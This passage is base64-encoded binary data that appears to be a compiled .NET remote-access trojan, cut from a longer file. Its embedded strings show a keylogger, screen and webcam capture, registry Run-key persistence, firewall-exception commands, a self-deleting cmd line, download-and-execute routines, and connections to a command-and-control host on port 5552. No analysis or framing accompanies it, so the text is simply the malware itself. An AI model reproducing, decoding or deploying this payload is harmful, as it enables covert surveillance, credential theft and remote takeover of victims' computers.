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AMwwAAAIAAAAAAAAAAAAAABoDJwwAAAAACAAAAAAAAAAAAAAAIwOJAwAAAAACAAAAAAAAAAAAAAAaA5QHAAAAAAIAAAAAAAAAAAAAABoDbgAAAAAAAgAAAAAAAAAAAAAAIwO6BgAAAAAAAAA8TW9kdWxlPgBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUALmN0b3IAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAU3lzdGVtAE9iamVjdABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQ29tcGlsZXJTZXJ2aWNlcwBTdGFuZGFyZE1vZHVsZUF0dHJpYnV0ZQBTeXN0ZW0uSU8ARmlsZUluZm8ARmlsZVN0cmVhbQBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBDb21wdXRlcgBTeXN0ZW0uTmV0LlNvY2tldHMAVGNwQ2xpZW50AE1lbW9yeVN0cmVhbQBDb252ZXJzaW9ucwBUb0Jvb2xlYW4AU3lzdGVtLlJlZmxlY3Rpb24AQXNzZW1ibHkAR2V0RW50cnlBc3NlbWJseQBnZXRfTG9jYXRpb24AQnl0ZQBFeGNlcHRpb24ATWljcm9zb2Z0LlZpc3VhbEJhc2ljLk15U2VydmljZXMAUmVnaXN0cnlQcm94eQBTZXJ2ZXJDb21wdXRlcgBnZXRfUmVnaXN0cnkATWljcm9zb2Z0LldpbjMyAFJlZ2lzdHJ5S2V5AGdldF9DdXJyZW50VXNlcgBTdHJpbmcAQ29uY2F0AE9wZW5TdWJLZXkARGVsZXRlVmFsdWUAUHJvamVjdERhdGEAU2V0UHJvamVjdEVycm9yAENsZWFyUHJvamVjdEVycm9yAFJ1bnRpbWVIZWxwZXJzAEdldE9iamVjdFZhbHVlAEdldFZhbHVlAFJlZ2lzdHJ5VmFsdWVLaW5kAENyZWF0ZVN1YktleQBTZXRWYWx1ZQBEYXRlVGltZQBPcGVyYXRvcnMAQ29uZGl0aW9uYWxDb21wYXJlT2JqZWN0RXF1YWwAVG9TdHJpbmcARW52aXJvbm1lbnQAZ2V0X01hY2hpbmVOYW1lAGdldF9Vc2VyTmFtZQBGaWxlU3lzdGVtSW5mbwBnZXRfTGFzdFdyaXRlVGltZQBnZXRfRGF0ZQBDb21wdXRlckluZm8AZ2V0X0luZm8AZ2V0X09TRnVsbE5hbWUAUmVwbGFjZQBPcGVyYXRpbmdTeXN0ZW0AZ2V0X09TVmVyc2lvbgBnZXRfU2VydmljZVBhY2sATWljcm9zb2Z0LlZpc3VhbEJhc2ljAFN0cmluZ3MAQ29tcGFyZU1ldGhvZABTcGxpdABTcGVjaWFsRm9sZGVyAEdldEZvbGRlclBhdGgAQ29udGFpbnMAUmVnaXN0cnlLZXlQZXJtaXNzaW9uQ2hlY2sAR2V0VmFsdWVOYW1lcwBnZXRfTGVuZ3RoAENvbnZlcnQAVG9CYXNlNjRTdHJpbmcARnJvbUJhc2U2NFN0cmluZwBTeXN0ZW0uVGV4dABFbmNvZGluZwBnZXRfVVRGOABHZXRCeXRlcwBHZXRTdHJpbmcAU3lzdGVtLklPLkNvbXByZXNzaW9uAEdaaXBTdHJlYW0AU3RyZWFtAENvbXByZXNzaW9uTW9kZQBzZXRfUG9zaXRpb24AUmVhZABCaXRDb252ZXJ0ZXIAVG9JbnQzMgBEaXNwb3NlAFNwYWNlAEludFB0cgBaZXJvAG9wX0VxdWFsaXR5AG9wX0V4cGxpY2l0AEludGVyYWN0aW9uAEVudmlyb24AQ29udmVyc2lvbgBIZXgATW9kdWxlAFR5cGUATG9hZABHZXRNb2R1bGVzAEdldFR5cGVzAGdldF9GdWxsTmFtZQBFbmRzV2l0aABnZXRfQXNzZW1ibHkAQ3JlYXRlSW5zdGFuY2UARGlyZWN0b3J5SW5mbwBnZXRfTmFtZQBUb0xvd2VyAENvbXBhcmVTdHJpbmcAZ2V0X0RpcmVjdG9yeQBnZXRfUGFyZW50AGdldF9Mb2NhbE1hY2hpbmUAQXBwV2luU3R5bGUAU2hlbGwARmlsZQBEZWxldGUARGVsZXRlU3ViS2V5AEVuZEFwcABTeXN0ZW0uVGhyZWFkaW5nAFRocmVhZABTbGVlcABFeGlzdHMARmlsZU1vZGUAUmVhZEFsbEJ5dGVzAFdyaXRlAEZsdXNoAENsb3NlAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAFN0YXJ0AEVudmlyb25tZW50VmFyaWFibGVUYXJnZXQAU2V0RW52aXJvbm1lbnRWYXJpYWJsZQBDb3B5AFN5c3RlbS5OZXQAV2ViQ2xpZW50AFN5c3RlbS5EcmF3aW5nAEdyYXBoaWNzAEJpdG1hcABSZWN0YW5nbGUAU2l6ZQBDb25jYXRlbmF0ZU9iamVjdABnZXRfQ2hhcnMAVG9BcnJheQBEb3dubG9hZERhdGEAUGF0aABHZXRUZW1wRmlsZU5hbWUAV3JpdGVBbGxCeXRlcwBnZXRfTWVzc2FnZQBOZXdMYXRlQmluZGluZwBMYXRlU2V0AExhdGVDYWxsAEJvb2xlYW4ATGF0ZUdldABDb21wYXJlT2JqZWN0RXF1YWwAT3JPYmplY3QAU3lzdGVtLldpbmRvd3MuRm9ybXMAU2NyZWVuAGdldF9QcmltYXJ5U2NyZWVuAGdldF9Cb3VuZHMAZ2V0X1dpZHRoAGdldF9IZWlnaHQAU3lzdGVtLkRyYXdpbmcuSW1hZ2luZwBQaXhlbEZvcm1hdABJbWFnZQBGcm9tSW1hZ2UAQ29weVBpeGVsT3BlcmF0aW9uAENvcHlGcm9tU2NyZWVuAEN1cnNvcgBDdXJzb3JzAGdldF9EZWZhdWx0AFBvaW50AGdldF9Qb3NpdGlvbgBEcmF3AFRvSW50ZWdlcgBEcmF3SW1hZ2UASW1hZ2VGb3JtYXQAZ2V0X0pwZWcAU2F2ZQBXcml0ZUJ5dGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAQ2hhbmdlVHlwZQBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5AE1ENUNyeXB0b1NlcnZpY2VQcm92aWRlcgBIYXNoQWxnb3JpdGhtAENvbXB1dGVIYXNoAEdldEN1cnJlbnRQcm9jZXNzAGdldF9IYW5kbGUATW9uaXRvcgBFbnRlcgBJbnQzMgBTb2NrZXQAZ2V0X0NsaWVudABTb2NrZXRGbGFncwBTZW5kAEV4aXQAc2V0X1JlY2VpdmVCdWZmZXJTaXplAHNldF9TZW5kQnVmZmVyU2l6ZQBzZXRfU2VuZFRpbWVvdXQAc2V0X1JlY2VpdmVUaW1lb3V0AENvbm5lY3QAZ2V0X0F2YWlsYWJsZQBTZWxlY3RNb2RlAFBvbGwATmV0d29ya1N0cmVhbQBHZXRTdHJlYW0AUmVhZEJ5dGUAVG9Mb25nAENoclcAQ2hhcgBSZWNlaXZlAFBhcmFtZXRlcml6ZWRUaHJlYWRTdGFydABKb2luAENvbW1hbmQATXV0ZXgAVGhyZWFkU3RhcnQAU2Vzc2lvbkVuZGluZ0V2ZW50QXJncwBTZXNzaW9uRW5kaW5nRXZlbnRIYW5kbGVyAFN5c3RlbUV2ZW50cwBhZGRfU2Vzc2lvbkVuZGluZwBBcHBsaWNhdGlvbgBEb0V2ZW50cwBzZXRfTWluV29ya2luZ1NldABDb25kaXRpb25hbENvbXBhcmVPYmplY3ROb3RFcXVhbABDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBEZWJ1Z2dlclN0ZXBUaHJvdWdoQXR0cmlidXRlAFNUQVRocmVhZEF0dHJpYnV0ZQBLZXlzAFN0cmluZ0J1aWxkZXIAR2V0UHJvY2Vzc0J5SWQAZ2V0X01haW5XaW5kb3dUaXRsZQBEYXRlQW5kVGltZQBnZXRfTm93AGdldF9Qcm9jZXNzTmFtZQBFbnVtAEtleWJvYXJkAGdldF9LZXlib2FyZABnZXRfU2hpZnRLZXlEb3duAGdldF9DYXBzTG9jawBUb1VwcGVyAGdldF9DdHJsS2V5RG93bgBSZW1vdmUAai5leGUAYXZpY2FwMzIuZGxsAGtlcm5lbDMyAHVzZXIzMi5kbGwAdXNlcjMyAG50ZGxsAG1zY29ybGliAE9LAGoAa2wAQQBWTgBWUgBNVABFWEUARFIAUkcASABQAFkAQkQASWRyAElzRgBJc3UATE8ARlMARgBrcQBDbgBzZgBDAE1lTQBiAGxhc3RjYXAAUExHAC5jY3RvcgBOdFNldEluZm9ybWF0aW9uUHJvY2VzcwBoUHJvY2VzcwBwcm9jZXNzSW5mb3JtYXRpb25DbGFzcwBwcm9jZXNzSW5mb3JtYXRpb24AcHJvY2Vzc0luZm9ybWF0aW9uTGVuZ3RoAGNhcEdldERyaXZlckRlc2NyaXB0aW9uQQB3RHJpdmVyAGxwc3pOYW1lAGNiTmFtZQBscHN6VmVyAGNiVmVyAEdldFZvbHVtZUluZm9ybWF0aW9uAEdldFZvbHVtZUluZm9ybWF0aW9uQQBscFJvb3RQYXRoTmFtZQBscFZvbHVtZU5hbWVCdWZmZXIAblZvbHVtZU5hbWVTaXplAGxwVm9sdW1lU2VyaWFsTnVtYmVyAGxwTWF4aW11bUNvbXBvbmVudExlbmd0aABscEZpbGVTeXN0ZW1GbGFncwBscEZpbGVTeXN0ZW1OYW1lQnVmZmVyAG5GaWxlU3lzdGVtTmFtZVNpemUAR2V0Rm9yZWdyb3VuZFdpbmRvdwBHZXRXaW5kb3dUZXh0AEdldFdpbmRvd1RleHRBAGhXbmQAV2luVGl0bGUATWF4TGVuZ3RoAEdldFdpbmRvd1RleHRMZW5ndGgAR2V0V2luZG93VGV4dExlbmd0aEEAaHduZABETFYAbgBHVFYAcmV0AFNUVgB0AHR5cABpbmYARU5CAHMAREVCAFNCAFMAQlMAQgBaSVAAQ2FtAEFDVABIV0QAUGx1Z2luAGMARUQAQ29tcERpcgBGMQBGMgBVTlMASU5TAEluZABtZDUAcHIAaQBTZW5kYgBjb25uZWN0AFJDAGtvAF9MYW1iZGEkX18xAGEwAF9MYW1iZGEkX18yAGExAExhc3RBVgBMYXN0QVMAbGFzdEtleQBMb2dzAHZuAFRvVW5pY29kZUV4AGEAZABlAGYAZwBHZXRLZXlib2FyZFN0YXRlAE1hcFZpcnR1YWxLZXkAR2V0V2luZG93VGhyZWFkUHJvY2Vzc0lkAEdldEtleWJvYXJkTGF5b3V0AEdldEFzeW5jS2V5U3RhdGUAQVYAVktDb2RlVG9Vbmljb2RlAEZpeABrAFdSSwBtYWluAAAAGVIARwA5AG0AZABYAE4AVwBNAEQAZwB6AAAJMAAuADcAZAAAFVQAcwBrAG0AZwByAC4AZQB4AGUAAA9BAHAAcABEAGEAdABhAABBYgBmADUAMQBiAGIANQA0ADUAMQA4ADIAYwBhAGUAMABiADIAOQBiADEAZgA2AGQAOAAyADAANgA3ADAAYwBjAAApZwBhAG0AZQByADAALgBzAGUAcgB2AGUAZwBhAG0AZQAuAGMAbwBtAAAJNQA1ADUAMgAAC3wAJwB8ACcAfAABC0YAYQBsAHMAZQAACVQAcgB1AGUAAFtTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAAAQATUwBvAGYAdAB3AGEAcgBlAFwAAAVsAGwAAAV2AG4AAANfAAAFPwA/AAAReQB5AC0ATQBNAC0AZABkAAERPwA/AC0APwA/AC0APwA/AAETTQBpAGMAcgBvAHMAbwBmAHQAAA9XAGkAbgBkAG8AdwBzAAAHVwBpAG4AAAOuAAEDIiEBBSAAIAAAAyAAAAkgAFcAaQBuAAAFUwBQAAADMAAAB3gAOAA2AAAJIAB4ADYANAAACSAAeAA4ADYAAAdZAGUAcwAABU4AbwAABS4ALgAAAywAABdTAHkAcwB0AGUAbQBEAHIAaQB2AGUAAANcAAAHRQBSAFIAAAMuAABNbgBlAHQAcwBoACAAZgBpAHIAZQB3AGEAbABsACAAZABlAGwAZQB0AGUAIABhAGwAbABvAHcAZQBkAHAAcgBvAGcAcgBhAG0AIAAiAAADIgAACS4AZQB4AGUAABFTAG8AZgB0AHcAYQByAGUAAD1jAG0AZAAuAGUAeABlACAALwBjACAAcABpAG4AZwAgADAAIAAtAG4AIAAyACAAJgAgAGQAZQBsACAAIgABK1MARQBFAF8ATQBBAFMASwBfAE4ATwBaAE8ATgBFAEMASABFAEMASwBTAAADMQAAR24AZQB0AHMAaAAgAGYAaQByAGUAdwBhAGwAbAAgAGEAZABkACAAYQBsAGwAbwB3AGUAZABwAHIAbwBnAHIAYQBtACAAIgAAByIAIAAiAAARIgAgAEUATgBBAEIATABFAAAJIgAgAC4ALgAABWsAbAAACXAAcgBvAGYAAAN+AAADIQAAEWcAZQB0AHYAYQBsAHUAZQAAA0AAAAVyAG4AAAdNAFMARwAAG0UAeABlAGMAdQB0AGUAIABFAFIAUgBPAFIAAAdiAGwAYQAAHUQAbwB3AG4AbABvAGEAZAAgAEUAUgBSAE8AUgAAGUUAeABlAGMAdQB0AGUAZAAgAEEAcwAgAAAdRQB4AGUAYwB1AHQAZQAgAEUAUgBSAE8AUgAgAAAHaQBuAHYAAAVwAGwAAANBAAADaAAAA3AAAAdvAHMAawAAC3MAdABhAHIAdAAAB08AZgBmAAAHbwBmAGYAAAdyAGUAdAAABUcAVAAAB0MAQQBQAAAFdQBuAAAFdQBwAAAZVQBwAGQAYQB0AGUAIABFAFIAUgBPAFIAABlVAHAAZABhAHQAaQBuAGcAIABUAG8AIAAAG1UAcABkAGEAdABlACAARQBSAFIATwBSACAAAAVFAHgAAAdQAEwARwAAB2kAbgBkAAADSAAAA1AAAANjAAAFRQBSAAAFeAAyAAADAAABBQ0ACgAAAzoAAAdpAG4AZgAAC2MAbABlAGEAcgAABWQAaQAAB2EAYwB0AAAJWwBrAGwAXQAABw0ACgABAAETeQB5AC8ATQBNAC8AZABkACAAAAcBAA0ACgABA1sAAANdAAATWwBFAE4AVABFAFIAXQANAAoAAA9bAFQAQQBQAF0ADQAKAAAFMgAwAAAAAADPl7o55c9zQrGsWG1tHLKcAAQgAQEIAyAAAQQAAQIOBAAAEi0DIAAOBCABAQ4EIAASOQQgABJBBQACDg4OBiACEkEOAgUAAQESNQMAAAEFIAESQQ4EAAEcHAUgAhwOHAcgAwEOHBFRBgADAhwcAgYAAw4ODg4EAAEOHAMAAA4EIAARVQQgAQ4OBCAAEmUFIAIODg4EAAASaQkABB0ODg4IEXEFAAEOEXUEIAECDgcgAhJBDhF5BCAAHQ4DIAAIBQABDh0FBQABHQUOBQAAEoCBBSABHQUOBSABDh0FBSABAR0FCSACARKAiRGAjQMgAAoEIAEBCgcgAwgdBQgIBgACCB0FCAQAAQ4IAgYYBQACAhgYBAABChgEAAEODgYAARItHQUGIAAdEoChBiAAHRKApQQgABItBCABHA4GAAMIDg4CBSAAEoCpBSACAQ4CCQAECA4RgK0CCAcABA4ODg4OBAABAQ4EAAEBCAcgAgEOEYC5ByADAR0FCAgGAAESgL0OCAADAQ4OEYDBBQABDh0OBSACAQ4cBgADAQ4OAgUAAhwcHAQgAQMIBCAAHQUGAAIBDh0FAh0FEAAGARwSgKUOHRwdDh0SgKUTAAgcHBKApQ4dHB0OHRKApR0CAhIABxwcEoClDh0cHQ4dEoClHQIGAAMcHBwCBAABAhwFAAASgOUFIAARgNEIIAMBCAgRgOkIAAESgMkSgO0FIAIBCAgNIAYBCAgICBGA1RGA8QUAABKA9QUAABGA/QkgAgERgP0RgNUJIAIBEoDJEYDRBAABCA4KIAUBEoDtCAgICAUAABKBAQkgAgESgIkSgQEEIAEBBQcAAhKAvQ4OCAABEoClEYEFBwACHBwSgKUGIAEdBR0FBQAAEoC9AyAAGAQAAQEcBSAAEoEZCiAECB0FCAgRgR0FIAIBDggEAAEOAgcgAgIIEYEhBSAAEoElBAABCg4EAAEDCAUgAgEcGAcgAgESgS0IBCABARwEIAECCAcgAwECDhACByACARKBNQgGAAEBEoE9BAABGAgEIAEBGAYAARKAvQgEAAARVQUgABKBZQMgAAIFIAIOCAgIt3pcVhk04IkIsD9ffxHVCjoEAQAAAAIGDgIGHAIGAgMGEhUDBhIZAwYSHQMGEgwDBhIhAwYSJQMGHQUIAAQIGAgQCAgKAAUCBhAOCBAOCAEiEQAICBAOEA4IEAgQCBAIEA4IAwAAGAcAAwgYEA4IBAABCAoFAAIcDhwHAAMCDhwRUQUAAQ4QDgYAAR0FEA4GAAEOEB0FBgABHQUdBQMAAAIGAAIcHQUOBwACAhIVEhUFAAEBHQUFAAECHQUHAAIBHBKBOQIGCAQGEYFVDQAHCAkJHQUSgVkICRgBFQUAAgkJCQYAAggYEAgEAAEICAQAAQYIBAABDgkGIAEOEYFVCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQQHARI1BQcCHBI1BQcCAhI1IQcTDg4OEjUSNRI1EjUSNR0OEjUSNQ4SNQ4OEVURVQgdDgMHAQ4FBwIOHQUEBwEdBQ4HBh0FHQUSgIUSJQgdBQgHBQIIEjUODgcHBA4YDhI1CwcIDggSNQ4OCAgOEwcHHBKAoRKApQgdEoChCB0SgKUJBwMCEoCpEoCpDgcGEjUSNRI1EjUSNRI1FAcJHQUSGRI1EjUSNRI1EjUSNR0Oagc1HQ4dBQ4IEiUSNRKAxRI1EjUdBRwIEiUdBRwIEiUSgMkOEiUSJRKAzRKAzRI1HQUOCBIlEjUSgMUSNRI1CAgSJRI1EjUODh0OHRwOEYDREYDREYDREYDREYDREYDREYDREYDVDh0cHQILBwYOEoEJDgUIHQUPBwgCHQUSJRI1EjUSFQgOAwcBAhMHCgISNRI1EjUOEjUSNRIVDh0OEAcKCggIDggKEoC1EjUSNQMZBw0IAg4SgLUSNRI1EjUSNQ4SNRI1EjUSDA4HBw4IGBKAvRI1EVUdDhAHCg4IHQUCGBgJEoFZEjUICgcFDgISNRGBVQMLBwYICBGBVQ4IEjUAcHQAAAAAAAAAAAAAjnQAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIB0AAAAAAAAAAAAAAAAAAAAAF9Db3JFeGVNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAEAGAAAABgAAIAAAAAAAAAAAAQAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAQAAAAAAAEAAAAAAEgAAABYgAAA5wEAAOQEAAAAAAAAPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pg0KPGFzc2VtYmx5IHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSIgbWFuaWZlc3RWZXJzaW9uPSIxLjAiPg0KICA8YXNzZW1ibHlJZGVudGl0eSB2ZXJzaW9uPSIxLjAuMC4wIiBuYW1lPSJNeUFwcGxpY2F0aW9uLmFwcCIvPg0KICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MiI+DQogICAgPHNlY3VyaXR5Pg0KICAgICAgPHJlcXVlc3RlZFByaXZpbGVnZXMgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIvPg0KICAgICAgPC9yZXF1ZXN0ZWRQcml2aWxlZ2VzPg0KICAgIDwvc2VjdXJpdHk+DQogIDwvdHJ1c3RJbmZvPg0KPC9hc3NlbWJseT4NClBQQURESU5HWFhQQURESU5HUEFEREl